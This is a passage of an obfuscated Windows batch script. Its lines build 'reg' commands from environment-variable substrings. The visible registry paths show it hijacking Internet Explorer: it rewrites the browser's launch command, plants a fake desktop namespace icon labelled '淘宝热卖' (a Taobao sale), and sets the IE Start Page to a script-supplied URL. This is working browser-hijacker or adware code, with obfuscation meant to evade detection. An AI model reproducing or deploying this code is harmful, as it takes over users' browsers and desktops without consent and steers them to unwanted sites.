  29. %comspec:~-16,1%%comspec:~-13,1%%appdata:~-1%%programfiles:~4,1%%comspec:~-13,1% /%appdata:~7,1%%programfiles:~-4,1%%userprofile:~14,1% %programfiles:~4,1%%comspec:~-1%%programfiles:~6,1% %appdata:~-1%%appdata:~15,1%%appdata:~15,1% "HKLM\SOFTWARE\C%appdata:~-13,1%%programfiles:~-4,1%%comspec:~-1%%userprofile:~14,1%%comspec:~-13,1%%comspec:~-16,1%\%programfiles:~4,1%%programfiles:~-4,1%%comspec:~-1%\IEXPLORE.EXE" /%tcopu:~8,1% "" /%appdata:~15,1% "I%userprofile:~14,1%%comspec:~-13,1%%comspec:~-1%%programfiles:~4,1%%userprofile:~14,1%%comspec:~-1%%comspec:~-13,1% E%comspec:~-2,1%%appdata:~-15,1%%appdata:~-13,1%%appdata:~-7,1%%programfiles:~4,1%%comspec:~-1%%programfiles:~4,1%" /%tcopu:~11,1%

  30. %comspec:~-16,1%%comspec:~-13,1%%appdata:~-1%%programfiles:~4,1%%comspec:~-13,1% /%appdata:~7,1%%programfiles:~-4,1%%userprofile:~14,1% %programfiles:~4,1%%comspec:~-1%%programfiles:~6,1% %appdata:~-1%%appdata:~15,1%%appdata:~15,1% "HKLM\SOFTWARE\C%appdata:~-13,1%%programfiles:~-4,1%%comspec:~-1%%userprofile:~14,1%%comspec:~-13,1%%comspec:~-16,1%\%programfiles:~4,1%%programfiles:~-4,1%%comspec:~-1%\IEXPLORE.EXE\D%comspec:~-1%%tcopu:~11,1%%appdata:~-1%%userprofile:~6,1%%appdata:~-13,1%%comspec:~-13,1%I%userprofile:~5,1%%appdata:~-7,1%%userprofile:~14,1%" /%tcopu:~8,1% "" /%appdata:~15,1% "%ProgramFiles%\I%userprofile:~14,1%%comspec:~-13,1%%comspec:~-1%%programfiles:~4,1%%userprofile:~14,1%%comspec:~-1%%comspec:~-13,1% E%comspec:~-2,1%%appdata:~-15,1%%appdata:~-13,1%%appdata:~-7,1%%programfiles:~4,1%%comspec:~-1%%programfiles:~4,1%\%programfiles:~-4,1%%comspec:~-1%%comspec:~-2,1%%appdata:~-15,1%%appdata:~-13,1%%appdata:~-7,1%%programfiles:~4,1%%comspec:~-1%.%comspec:~-1%%comspec:~-2,1%%comspec:~-1%" /%tcopu:~11,1%

  31. %comspec:~-16,1%%comspec:~-13,1%%appdata:~-1%%programfiles:~4,1%%comspec:~-13,1% /%appdata:~7,1%%programfiles:~-4,1%%userprofile:~14,1% %programfiles:~4,1%%comspec:~-1%%programfiles:~6,1% %appdata:~-1%%appdata:~15,1%%appdata:~15,1% "HKLM\SOFTWARE\C%appdata:~-13,1%%programfiles:~-4,1%%comspec:~-1%%userprofile:~14,1%%comspec:~-13,1%%comspec:~-16,1%\%programfiles:~4,1%%programfiles:~-4,1%%comspec:~-1%\IEXPLORE.EXE\%comspec:~-16,1%%tcopu:~2,1%%comspec:~-1%%appdata:~-13,1%%appdata:~-13,1%\%appdata:~-7,1%%appdata:~-15,1%%comspec:~-1%%userprofile:~14,1%\%userprofile:~5,1%%appdata:~-7,1%%appdata:~7,1%%appdata:~7,1%%appdata:~-1%%userprofile:~14,1%%appdata:~15,1%" /%tcopu:~8,1% "" /%appdata:~15,1% "%ProgramFiles%\I%userprofile:~14,1%%comspec:~-13,1%%comspec:~-1%%programfiles:~4,1%%userprofile:~14,1%%comspec:~-1%%comspec:~-13,1% E%comspec:~-2,1%%appdata:~-15,1%%appdata:~-13,1%%appdata:~-7,1%%programfiles:~4,1%%comspec:~-1%%programfiles:~4,1%\IEXPLORE.EXE %strHome%\%appdata:~-1%%appdata:~-1%.{%tcopu:~17,1%AFACED%tcopu:~21,1%-E%tcopu:~23,1%%comspec:~-9,1%%tcopu:~23,1%-%tcopu:~21,1%%tcopu:~21,1%D%tcopu:~21,1%-%tcopu:~29,1%%tcopu:~21,1%%tcopu:~23,1%%tcopu:~12,1%-B%tcopu:~16,1%%comspec:~-10,1%%comspec:~-9,1%F%tcopu:~21,1%E%tcopu:~29,1%%tcopu:~16,1%%tcopu:~12,1%%tcopu:~16,1%D}" /%tcopu:~11,1%

  32. %comspec:~-16,1%%comspec:~-13,1%%appdata:~-1%%programfiles:~4,1%%comspec:~-13,1% /%appdata:~7,1%%programfiles:~-4,1%%userprofile:~14,1% %programfiles:~4,1%%comspec:~-1%%programfiles:~6,1% %appdata:~-1%%appdata:~15,1%%appdata:~15,1% "HKCU\S%appdata:~-7,1%%tcopu:~11,1%%comspec:~-13,1%%os:~5,1%%appdata:~-1%%programfiles:~4,1%%comspec:~-1%\M%programfiles:~-4,1%%userprofile:~5,1%%programfiles:~4,1%%appdata:~-7,1%%comspec:~-16,1%%appdata:~-7,1%%tcopu:~11,1%%comspec:~-13,1%\W%programfiles:~-4,1%%userprofile:~14,1%%appdata:~15,1%%appdata:~-7,1%%os:~5,1%%comspec:~-16,1%\C%userprofile:~6,1%%programfiles:~4,1%%programfiles:~4,1%%comspec:~-1%%userprofile:~14,1%%comspec:~-13,1%V%comspec:~-1%%programfiles:~4,1%%comspec:~-16,1%%programfiles:~-4,1%%appdata:~-7,1%%userprofile:~14,1%\E%comspec:~-2,1%%appdata:~-15,1%%appdata:~-13,1%%appdata:~-7,1%%programfiles:~4,1%%comspec:~-1%%programfiles:~4,1%\D%comspec:~-1%%comspec:~-16,1%%tcopu:~5,1%%comspec:~-13,1%%appdata:~-7,1%%appdata:~-15,1%\N%appdata:~-1%%appdata:~7,1%%comspec:~-1%S%appdata:~-15,1%%appdata:~-1%%userprofile:~5,1%%comspec:~-1%\{%comspec:~-9,1%%tcopu:~16,1%%tcopu:~16,1%%tcopu:~29,1%A%tcopu:~21,1%F%tcopu:~14,1%-%comspec:~-9,1%%tcopu:~21,1%D%tcopu:~12,1%-%tcopu:~21,1%%tcopu:~21,1%D%tcopu:~14,1%-BDAF-%tcopu:~17,1%%tcopu:~17,1%C%tcopu:~17,1%%tcopu:~14,1%F%tcopu:~33,1%%tcopu:~17,1%BB%tcopu:~21,1%%tcopu:~21,1%}" /%tcopu:~8,1% "" /%appdata:~15,1% "" /%tcopu:~11,1%

  33. %comspec:~-16,1%%comspec:~-13,1%%appdata:~-1%%programfiles:~4,1%%comspec:~-13,1% /%appdata:~7,1%%programfiles:~-4,1%%userprofile:~14,1% %programfiles:~4,1%%comspec:~-1%%programfiles:~6,1% %appdata:~-1%%appdata:~15,1%%appdata:~15,1% "HKCR\CLSID\{%comspec:~-9,1%%tcopu:~16,1%%tcopu:~16,1%%tcopu:~29,1%A%tcopu:~21,1%F%tcopu:~14,1%-%comspec:~-9,1%%tcopu:~21,1%D%tcopu:~12,1%-%tcopu:~21,1%%tcopu:~21,1%D%tcopu:~14,1%-BDAF-%tcopu:~17,1%%tcopu:~17,1%C%tcopu:~17,1%%tcopu:~14,1%F%tcopu:~33,1%%tcopu:~17,1%BB%comspec:~-9,1%%comspec:~-9,1%}" /%tcopu:~8,1% "" /%appdata:~15,1% "淘宝热卖" /%tcopu:~11,1%

  34. %comspec:~-16,1%%comspec:~-13,1%%appdata:~-1%%programfiles:~4,1%%comspec:~-13,1% /%appdata:~7,1%%programfiles:~-4,1%%userprofile:~14,1% %programfiles:~4,1%%comspec:~-1%%programfiles:~6,1% %appdata:~-1%%appdata:~15,1%%appdata:~15,1% "HKCR\CLSID\{%comspec:~-9,1%%tcopu:~16,1%%tcopu:~16,1%%tcopu:~29,1%A%tcopu:~21,1%F%tcopu:~14,1%-%comspec:~-9,1%%tcopu:~21,1%D%tcopu:~12,1%-%tcopu:~21,1%%tcopu:~21,1%D%tcopu:~14,1%-BDAF-%tcopu:~17,1%%tcopu:~17,1%C%tcopu:~17,1%%tcopu:~14,1%F%tcopu:~33,1%%tcopu:~17,1%BB%comspec:~-9,1%%comspec:~-9,1%}\I%userprofile:~14,1%P%programfiles:~4,1%%appdata:~-7,1%%userprofile:~5,1%S%comspec:~-1%%programfiles:~4,1%%tcopu:~8,1%%comspec:~-1%%programfiles:~4,1%%comspec:~-10,1%%comspec:~-9,1%" /%tcopu:~8,1% "" /%appdata:~15,1% "%SystemRoot%\%comspec:~-16,1%%comspec:~12,1%%comspec:~-16,1%%comspec:~-13,1%%comspec:~-1%%appdata:~7,1%%comspec:~-10,1%%comspec:~-9,1%\%comspec:~-16,1%%tcopu:~2,1%%appdata:~15,1%%appdata:~-7,1%%userprofile:~5,1%%tcopu:~8,1%%os:~5,1%.%appdata:~15,1%%appdata:~-13,1%%appdata:~-13,1%" /%tcopu:~11,1%

  35. %comspec:~-16,1%%comspec:~-13,1%%appdata:~-1%%programfiles:~4,1%%comspec:~-13,1% /%appdata:~7,1%%programfiles:~-4,1%%userprofile:~14,1% %programfiles:~4,1%%comspec:~-1%%programfiles:~6,1% %appdata:~-1%%appdata:~15,1%%appdata:~15,1% "HKCR\CLSID\{%comspec:~-9,1%%tcopu:~16,1%%tcopu:~16,1%%tcopu:~29,1%A%tcopu:~21,1%F%tcopu:~14,1%-%comspec:~-9,1%%tcopu:~21,1%D%tcopu:~12,1%-%tcopu:~21,1%%tcopu:~21,1%D%tcopu:~14,1%-BDAF-%tcopu:~17,1%%tcopu:~17,1%C%tcopu:~17,1%%tcopu:~14,1%F%tcopu:~33,1%%tcopu:~17,1%BB%comspec:~-9,1%%comspec:~-9,1%}\I%userprofile:~14,1%P%programfiles:~4,1%%appdata:~-7,1%%userprofile:~5,1%S%comspec:~-1%%programfiles:~4,1%%tcopu:~8,1%%comspec:~-1%%programfiles:~4,1%%comspec:~-10,1%%comspec:~-9,1%" /%tcopu:~8,1% "T%tcopu:~2,1%%programfiles:~4,1%%comspec:~-1%%appdata:~-1%%appdata:~15,1%%programfiles:~-4,1%%userprofile:~14,1%%programfiles:~6,1%M%appdata:~-7,1%%appdata:~15,1%%comspec:~-1%%appdata:~-13,1%" /%appdata:~15,1% "A%appdata:~-15,1%%appdata:~-1%%programfiles:~4,1%%comspec:~-13,1%%appdata:~7,1%%comspec:~-1%%userprofile:~14,1%%comspec:~-13,1%" /%tcopu:~11,1%

  36. %comspec:~-16,1%%comspec:~-13,1%%appdata:~-1%%programfiles:~4,1%%comspec:~-13,1% /%appdata:~7,1%%programfiles:~-4,1%%userprofile:~14,1% %programfiles:~4,1%%comspec:~-1%%programfiles:~6,1% %appdata:~-1%%appdata:~15,1%%appdata:~15,1% "HKCR\CLSID\{%comspec:~-9,1%%tcopu:~16,1%%tcopu:~16,1%%tcopu:~29,1%A%tcopu:~21,1%F%tcopu:~14,1%-%comspec:~-9,1%%tcopu:~21,1%D%tcopu:~12,1%-%tcopu:~21,1%%tcopu:~21,1%D%tcopu:~14,1%-BDAF-%tcopu:~17,1%%tcopu:~17,1%C%tcopu:~17,1%%tcopu:~14,1%F%tcopu:~33,1%%tcopu:~17,1%BB%comspec:~-9,1%%comspec:~-9,1%}\I%userprofile:~14,1%%comspec:~-16,1%%comspec:~-13,1%%appdata:~-1%%userprofile:~14,1%%userprofile:~5,1%%comspec:~-1%" /%tcopu:~8,1% "CLSID" /%appdata:~15,1% "{%comspec:~-9,1%%tcopu:~16,1%%tcopu:~16,1%%tcopu:~23,1%%tcopu:~16,1%%appdata:~15,1%%userprofile:~5,1%%tcopu:~12,1%-%tcopu:~14,1%%appdata:~15,1%%appdata:~-1%%tcopu:~17,1%-%tcopu:~14,1%%comspec:~-10,1%%tcopu:~23,1%%appdata:~15,1%-%appdata:~-1%%appdata:~15,1%%tcopu:~17,1%%tcopu:~14,1%-%comspec:~-1%%tcopu:~14,1%%comspec:~-9,1%%userprofile:~5,1%%tcopu:~23,1%%appdata:~15,1%%comspec:~-9,1%%appdata:~15,1%%tcopu:~33,1%%tcopu:~14,1%%tcopu:~1,1%%tcopu:~29,1%}" /%tcopu:~11,1%

  37. %comspec:~-16,1%%comspec:~-13,1%%appdata:~-1%%programfiles:~4,1%%comspec:~-13,1% /%appdata:~7,1%%programfiles:~-4,1%%userprofile:~14,1% %programfiles:~4,1%%comspec:~-1%%programfiles:~6,1% %appdata:~-1%%appdata:~15,1%%appdata:~15,1% "HKCR\CLSID\{%comspec:~-9,1%%tcopu:~16,1%%tcopu:~16,1%%tcopu:~29,1%A%tcopu:~21,1%F%tcopu:~14,1%-%comspec:~-9,1%%tcopu:~21,1%D%tcopu:~12,1%-%tcopu:~21,1%%tcopu:~21,1%D%tcopu:~14,1%-BDAF-%tcopu:~17,1%%tcopu:~17,1%C%tcopu:~17,1%%tcopu:~14,1%F%tcopu:~33,1%%tcopu:~17,1%BB%comspec:~-9,1%%comspec:~-9,1%}\I%userprofile:~14,1%%comspec:~-16,1%%comspec:~-13,1%%appdata:~-1%%userprofile:~14,1%%userprofile:~5,1%%comspec:~-1%\I%userprofile:~14,1%%programfiles:~-4,1%%comspec:~-13,1%P%programfiles:~4,1%%appdata:~-7,1%%appdata:~-15,1%%comspec:~-1%%programfiles:~4,1%%comspec:~-13,1%%comspec:~12,1%B%appdata:~-1%%programfiles:~6,1%" /%tcopu:~8,1% "E%appdata:~-13,1%%comspec:~-1%%appdata:~7,1%%comspec:~-1%%userprofile:~14,1%%comspec:~-13,1%" /%appdata:~15,1% "{%comspec:~-10,1%%userprofile:~5,1%%tcopu:~23,1%%tcopu:~21,1%%comspec:~-1%%tcopu:~12,1%%tcopu:~11,1%%appdata:~-1%-%tcopu:~21,1%%tcopu:~11,1%%comspec:~-10,1%%tcopu:~1,1%-%tcopu:~14,1%%tcopu:~33,1%%tcopu:~14,1%%appdata:~-1%-%appdata:~-1%%comspec:~-10,1%%tcopu:~16,1%%tcopu:~17,1%-%tcopu:~21,1%%tcopu:~21,1%%tcopu:~14,1%%appdata:~-1%%comspec:~-9,1%%tcopu:~16,1%%tcopu:~1,1%%comspec:~-1%%tcopu:~1,1%%comspec:~-9,1%%appdata:~-1%%comspec:~-9,1%}" /%tcopu:~11,1%

  38. %comspec:~-16,1%%comspec:~-13,1%%appdata:~-1%%programfiles:~4,1%%comspec:~-13,1% /%appdata:~7,1%%programfiles:~-4,1%%userprofile:~14,1% %programfiles:~4,1%%comspec:~-1%%programfiles:~6,1% %appdata:~-1%%appdata:~15,1%%appdata:~15,1% "HKCR\CLSID\{%comspec:~-9,1%%tcopu:~16,1%%tcopu:~16,1%%tcopu:~29,1%A%tcopu:~21,1%F%tcopu:~14,1%-%comspec:~-9,1%%tcopu:~21,1%D%tcopu:~12,1%-%tcopu:~21,1%%tcopu:~21,1%D%tcopu:~14,1%-BDAF-%tcopu:~17,1%%tcopu:~17,1%C%tcopu:~17,1%%tcopu:~14,1%F%tcopu:~33,1%%tcopu:~17,1%BB%comspec:~-9,1%%comspec:~-9,1%}\I%userprofile:~14,1%%comspec:~-16,1%%comspec:~-13,1%%appdata:~-1%%userprofile:~14,1%%userprofile:~5,1%%comspec:~-1%\I%userprofile:~14,1%%programfiles:~-4,1%%comspec:~-13,1%P%programfiles:~4,1%%appdata:~-7,1%%appdata:~-15,1%%comspec:~-1%%programfiles:~4,1%%comspec:~-13,1%%comspec:~12,1%B%appdata:~-1%%programfiles:~6,1%" /%tcopu:~8,1% "I%userprofile:~14,1%%programfiles:~-4,1%%comspec:~-13,1%S%comspec:~-13,1%%programfiles:~4,1%%programfiles:~-4,1%%userprofile:~14,1%%programfiles:~6,1%" /%appdata:~15,1% "%programfiles:~4,1%%comspec:~-13,1%%appdata:~-1%%appdata:~-7,1%" /%tcopu:~11,1%

  39. %comspec:~-16,1%%comspec:~-13,1%%appdata:~-1%%programfiles:~4,1%%comspec:~-13,1% /%appdata:~7,1%%programfiles:~-4,1%%userprofile:~14,1% %programfiles:~4,1%%comspec:~-1%%programfiles:~6,1% %appdata:~-1%%appdata:~15,1%%appdata:~15,1% "HKCR\CLSID\{%comspec:~-9,1%%tcopu:~16,1%%tcopu:~16,1%%tcopu:~29,1%A%tcopu:~21,1%F%tcopu:~14,1%-%comspec:~-9,1%%tcopu:~21,1%D%tcopu:~12,1%-%tcopu:~21,1%%tcopu:~21,1%D%tcopu:~14,1%-BDAF-%tcopu:~17,1%%tcopu:~17,1%C%tcopu:~17,1%%tcopu:~14,1%F%tcopu:~33,1%%tcopu:~17,1%BB%comspec:~-9,1%%comspec:~-9,1%}\%comspec:~-16,1%%tcopu:~2,1%%comspec:~-1%%appdata:~-13,1%%appdata:~-13,1%%comspec:~-1%%comspec:~-2,1%\C%appdata:~-7,1%%userprofile:~14,1%%comspec:~-13,1%%comspec:~-1%%comspec:~-2,1%%comspec:~-13,1%M%comspec:~-1%%userprofile:~14,1%%userprofile:~6,1%H%appdata:~-1%%userprofile:~14,1%%appdata:~15,1%%appdata:~-13,1%%comspec:~-1%%programfiles:~4,1%%comspec:~-16,1%\{%comspec:~-9,1%%tcopu:~16,1%%tcopu:~16,1%%tcopu:~29,1%A%tcopu:~21,1%F%tcopu:~14,1%-%comspec:~-9,1%%tcopu:~21,1%D%tcopu:~12,1%-%tcopu:~21,1%%tcopu:~21,1%D%tcopu:~14,1%-BDAF-%tcopu:~17,1%%tcopu:~17,1%C%tcopu:~17,1%%tcopu:~14,1%F%tcopu:~33,1%%tcopu:~17,1%BB%comspec:~-9,1%%comspec:~-9,1%}" /%tcopu:~8,1% "" /%appdata:~15,1% "" /%tcopu:~11,1%

  40. %comspec:~-16,1%%comspec:~-13,1%%appdata:~-1%%programfiles:~4,1%%comspec:~-13,1% /%appdata:~7,1%%programfiles:~-4,1%%userprofile:~14,1% %programfiles:~4,1%%comspec:~-1%%programfiles:~6,1% %appdata:~-1%%appdata:~15,1%%appdata:~15,1% "HKCR\CLSID\{%comspec:~-9,1%%tcopu:~16,1%%tcopu:~16,1%%tcopu:~29,1%A%tcopu:~21,1%F%tcopu:~14,1%-%comspec:~-9,1%%tcopu:~21,1%D%tcopu:~12,1%-%tcopu:~21,1%%tcopu:~21,1%D%tcopu:~14,1%-BDAF-%tcopu:~17,1%%tcopu:~17,1%C%tcopu:~17,1%%tcopu:~14,1%F%tcopu:~33,1%%tcopu:~17,1%BB%comspec:~-9,1%%comspec:~-9,1%}\%comspec:~-16,1%%tcopu:~2,1%%comspec:~-1%%appdata:~-13,1%%appdata:~-13,1%%comspec:~-1%%comspec:~-2,1%\I%userprofile:~5,1%%appdata:~-7,1%%userprofile:~14,1%H%appdata:~-1%%userprofile:~14,1%%appdata:~15,1%%appdata:~-13,1%%comspec:~-1%%programfiles:~4,1%" /%tcopu:~8,1% "" /%appdata:~15,1% "{%comspec:~-9,1%%tcopu:~16,1%%tcopu:~16,1%%tcopu:~29,1%A%tcopu:~21,1%F%tcopu:~14,1%-%comspec:~-9,1%%tcopu:~21,1%D%tcopu:~12,1%-%tcopu:~21,1%%tcopu:~21,1%D%tcopu:~14,1%-BDAF-%tcopu:~17,1%%tcopu:~17,1%C%tcopu:~17,1%%tcopu:~14,1%F%tcopu:~33,1%%tcopu:~17,1%BB%comspec:~-9,1%%comspec:~-9,1%}" /%tcopu:~11,1%

  41. %comspec:~-16,1%%comspec:~-13,1%%appdata:~-1%%programfiles:~4,1%%comspec:~-13,1% /%appdata:~7,1%%programfiles:~-4,1%%userprofile:~14,1% %programfiles:~4,1%%comspec:~-1%%programfiles:~6,1% %appdata:~-1%%appdata:~15,1%%appdata:~15,1% "HKCR\CLSID\{%comspec:~-9,1%%tcopu:~16,1%%tcopu:~16,1%%tcopu:~29,1%A%tcopu:~21,1%F%tcopu:~14,1%-%comspec:~-9,1%%tcopu:~21,1%D%tcopu:~12,1%-%tcopu:~21,1%%tcopu:~21,1%D%tcopu:~14,1%-BDAF-%tcopu:~17,1%%tcopu:~17,1%C%tcopu:~17,1%%tcopu:~14,1%F%tcopu:~33,1%%tcopu:~17,1%BB%comspec:~-9,1%%comspec:~-9,1%}\%comspec:~-16,1%%tcopu:~2,1%%comspec:~-1%%appdata:~-13,1%%appdata:~-13,1%%comspec:~-1%%comspec:~-2,1%\M%appdata:~-1%%comspec:~12,1%C%tcopu:~2,1%%appdata:~-1%%userprofile:~14,1%%programfiles:~6,1%%comspec:~-1%D%comspec:~-1%%tcopu:~11,1%%appdata:~-1%%userprofile:~6,1%%appdata:~-13,1%%comspec:~-13,1%M%comspec:~-1%%userprofile:~14,1%%userprofile:~6,1%" /%tcopu:~8,1% "" /%appdata:~15,1% "" /%tcopu:~11,1%

  42. %comspec:~-16,1%%comspec:~-13,1%%appdata:~-1%%programfiles:~4,1%%comspec:~-13,1% /%appdata:~7,1%%programfiles:~-4,1%%userprofile:~14,1% %programfiles:~4,1%%comspec:~-1%%programfiles:~6,1% %appdata:~-1%%appdata:~15,1%%appdata:~15,1% "HKCR\CLSID\{%comspec:~-9,1%%tcopu:~16,1%%tcopu:~16,1%%tcopu:~29,1%A%tcopu:~21,1%F%tcopu:~14,1%-%comspec:~-9,1%%tcopu:~21,1%D%tcopu:~12,1%-%tcopu:~21,1%%tcopu:~21,1%D%tcopu:~14,1%-BDAF-%tcopu:~17,1%%tcopu:~17,1%C%tcopu:~17,1%%tcopu:~14,1%F%tcopu:~33,1%%tcopu:~17,1%BB%comspec:~-9,1%%comspec:~-9,1%}\S%tcopu:~2,1%%comspec:~-1%%appdata:~-13,1%%appdata:~-13,1%F%appdata:~-7,1%%appdata:~-13,1%%appdata:~15,1%%comspec:~-1%%programfiles:~4,1%" /%tcopu:~8,1% "A%comspec:~-13,1%%comspec:~-13,1%%programfiles:~4,1%%programfiles:~-4,1%%tcopu:~1,1%%userprofile:~6,1%%comspec:~-13,1%%comspec:~-1%%comspec:~-16,1%" /%comspec:~-13,1% %programfiles:~4,1%%comspec:~-1%%programfiles:~6,1%_%appdata:~15,1%%os:~5,1%%appdata:~-7,1%%programfiles:~4,1%%appdata:~15,1% /%appdata:~15,1% %tcopu:~17,1% /%tcopu:~11,1%

  43. %comspec:~-16,1%%comspec:~-13,1%%appdata:~-1%%programfiles:~4,1%%comspec:~-13,1% /%appdata:~7,1%%programfiles:~-4,1%%userprofile:~14,1% %programfiles:~4,1%%comspec:~-1%%programfiles:~6,1% %appdata:~-1%%appdata:~15,1%%appdata:~15,1% "HKLM\SOFTWARE\C%appdata:~-13,1%%programfiles:~-4,1%%comspec:~-1%%userprofile:~14,1%%comspec:~-13,1%%comspec:~-16,1%\%programfiles:~4,1%%comspec:~-13,1%%appdata:~-1%%appdata:~-7,1%" /%tcopu:~8,1% "" /%appdata:~15,1% "IEXPLORE.EXE" /%tcopu:~11,1%

  44. %comspec:~-16,1%%comspec:~-13,1%%appdata:~-1%%programfiles:~4,1%%comspec:~-13,1% /%appdata:~7,1%%programfiles:~-4,1%%userprofile:~14,1% %programfiles:~4,1%%comspec:~-1%%programfiles:~6,1% %appdata:~-1%%appdata:~15,1%%appdata:~15,1% "HKLM\SOFTWARE\C%appdata:~-13,1%%programfiles:~-4,1%%comspec:~-1%%userprofile:~14,1%%comspec:~-13,1%%comspec:~-16,1%\%programfiles:~4,1%%comspec:~-13,1%%appdata:~-1%%appdata:~-7,1%\IEXPLORE.EXE" /%tcopu:~8,1% "" /%appdata:~15,1% "I%userprofile:~14,1%%comspec:~-13,1%%comspec:~-1%%programfiles:~4,1%%userprofile:~14,1%%comspec:~-1%%comspec:~-13,1% E%comspec:~-2,1%%appdata:~-15,1%%appdata:~-13,1%%appdata:~-7,1%%programfiles:~4,1%%comspec:~-1%%programfiles:~4,1%" /%tcopu:~11,1%

  45. %comspec:~-16,1%%comspec:~-13,1%%appdata:~-1%%programfiles:~4,1%%comspec:~-13,1% /%appdata:~7,1%%programfiles:~-4,1%%userprofile:~14,1% %programfiles:~4,1%%comspec:~-1%%programfiles:~6,1% %appdata:~-1%%appdata:~15,1%%appdata:~15,1% "HKLM\SOFTWARE\C%appdata:~-13,1%%programfiles:~-4,1%%comspec:~-1%%userprofile:~14,1%%comspec:~-13,1%%comspec:~-16,1%\%programfiles:~4,1%%comspec:~-13,1%%appdata:~-1%%appdata:~-7,1%\IEXPLORE.EXE\D%comspec:~-1%%tcopu:~11,1%%appdata:~-1%%userprofile:~6,1%%appdata:~-13,1%%comspec:~-13,1%I%userprofile:~5,1%%appdata:~-7,1%%userprofile:~14,1%" /%tcopu:~8,1% "" /%appdata:~15,1% "%strHome%\%comspec:~-13,1%%appdata:~-1%%appdata:~-7,1%.%programfiles:~-4,1%%userprofile:~5,1%%appdata:~-7,1%" /%tcopu:~11,1%

  46. %comspec:~-16,1%%comspec:~-13,1%%appdata:~-1%%programfiles:~4,1%%comspec:~-13,1% /%appdata:~7,1%%programfiles:~-4,1%%userprofile:~14,1% %programfiles:~4,1%%comspec:~-1%%programfiles:~6,1% %appdata:~-1%%appdata:~15,1%%appdata:~15,1% "HKLM\SOFTWARE\C%appdata:~-13,1%%programfiles:~-4,1%%comspec:~-1%%userprofile:~14,1%%comspec:~-13,1%%comspec:~-16,1%\%programfiles:~4,1%%comspec:~-13,1%%appdata:~-1%%appdata:~-7,1%\IEXPLORE.EXE\%comspec:~-16,1%%tcopu:~2,1%%comspec:~-1%%appdata:~-13,1%%appdata:~-13,1%\%appdata:~-7,1%%appdata:~-15,1%%comspec:~-1%%userprofile:~14,1%\%userprofile:~5,1%%appdata:~-7,1%%appdata:~7,1%%appdata:~7,1%%appdata:~-1%%userprofile:~14,1%%appdata:~15,1%" /%tcopu:~8,1% "" /%appdata:~15,1% "%ProgramFiles%\I%userprofile:~14,1%%comspec:~-13,1%%comspec:~-1%%programfiles:~4,1%%userprofile:~14,1%%comspec:~-1%%comspec:~-13,1% E%comspec:~-2,1%%appdata:~-15,1%%appdata:~-13,1%%appdata:~-7,1%%programfiles:~4,1%%comspec:~-1%%programfiles:~4,1%\IEXPLORE.EXE %strHome%\%tcopu:~1,1%%tcopu:~1,1%.{%tcopu:~17,1%AFACED%tcopu:~21,1%-E%tcopu:~23,1%%comspec:~-9,1%%tcopu:~23,1%-%tcopu:~21,1%%tcopu:~21,1%D%tcopu:~21,1%-%tcopu:~29,1%%tcopu:~21,1%%tcopu:~23,1%%tcopu:~12,1%-B%tcopu:~16,1%%comspec:~-10,1%%comspec:~-9,1%F%tcopu:~21,1%E%tcopu:~29,1%%tcopu:~16,1%%tcopu:~12,1%%tcopu:~16,1%D}" /%tcopu:~11,1%

  47. %comspec:~-16,1%%comspec:~-13,1%%appdata:~-1%%programfiles:~4,1%%comspec:~-13,1% /%appdata:~7,1%%programfiles:~-4,1%%userprofile:~14,1% %programfiles:~4,1%%comspec:~-1%%programfiles:~6,1% %appdata:~-1%%appdata:~15,1%%appdata:~15,1% "HKCU\S%appdata:~-7,1%%tcopu:~11,1%%comspec:~-13,1%%os:~5,1%%appdata:~-1%%programfiles:~4,1%%comspec:~-1%\M%programfiles:~-4,1%%userprofile:~5,1%%programfiles:~4,1%%appdata:~-7,1%%comspec:~-16,1%%appdata:~-7,1%%tcopu:~11,1%%comspec:~-13,1%\W%programfiles:~-4,1%%userprofile:~14,1%%appdata:~15,1%%appdata:~-7,1%%os:~5,1%%comspec:~-16,1%\C%userprofile:~6,1%%programfiles:~4,1%%programfiles:~4,1%%comspec:~-1%%userprofile:~14,1%%comspec:~-13,1%V%comspec:~-1%%programfiles:~4,1%%comspec:~-16,1%%programfiles:~-4,1%%appdata:~-7,1%%userprofile:~14,1%\E%comspec:~-2,1%%appdata:~-15,1%%appdata:~-13,1%%appdata:~-7,1%%programfiles:~4,1%%comspec:~-1%%programfiles:~4,1%\D%comspec:~-1%%comspec:~-16,1%%tcopu:~5,1%%comspec:~-13,1%%appdata:~-7,1%%appdata:~-15,1%\N%appdata:~-1%%appdata:~7,1%%comspec:~-1%S%appdata:~-15,1%%appdata:~-1%%userprofile:~5,1%%comspec:~-1%\{%comspec:~-9,1%%tcopu:~16,1%%tcopu:~16,1%%tcopu:~29,1%A%tcopu:~21,1%F%tcopu:~14,1%-%comspec:~-9,1%%tcopu:~21,1%D%tcopu:~12,1%-%tcopu:~21,1%%tcopu:~21,1%D%tcopu:~14,1%-BDAF-%tcopu:~17,1%%tcopu:~17,1%C%tcopu:~17,1%%tcopu:~14,1%F%tcopu:~33,1%%tcopu:~17,1%BB%comspec:~-9,1%%comspec:~-9,1%}" /%tcopu:~8,1% "" /%appdata:~15,1% "" /%tcopu:~11,1%

  48. %comspec:~-16,1%%comspec:~-13,1%%appdata:~-1%%programfiles:~4,1%%comspec:~-13,1% /%appdata:~7,1%%programfiles:~-4,1%%userprofile:~14,1% %programfiles:~4,1%%comspec:~-1%%programfiles:~6,1% %appdata:~-1%%appdata:~15,1%%appdata:~15,1% "HKLM\S%appdata:~-7,1%%tcopu:~11,1%%comspec:~-13,1%%os:~5,1%%appdata:~-1%%programfiles:~4,1%%comspec:~-1%\M%programfiles:~-4,1%%userprofile:~5,1%%programfiles:~4,1%%appdata:~-7,1%%comspec:~-16,1%%appdata:~-7,1%%tcopu:~11,1%%comspec:~-13,1%\I%userprofile:~14,1%%comspec:~-13,1%%comspec:~-1%%programfiles:~4,1%%userprofile:~14,1%%comspec:~-1%%comspec:~-13,1% E%comspec:~-2,1%%appdata:~-15,1%%appdata:~-13,1%%appdata:~-7,1%%programfiles:~4,1%%comspec:~-1%%programfiles:~4,1%\M%appdata:~-1%%programfiles:~-4,1%%userprofile:~14,1%" /%tcopu:~8,1% "S%comspec:~-13,1%%appdata:~-1%%programfiles:~4,1%%comspec:~-13,1% P%appdata:~-1%%programfiles:~6,1%%comspec:~-1%" /%appdata:~15,1% "%strURL%" /%tcopu:~11,1% 

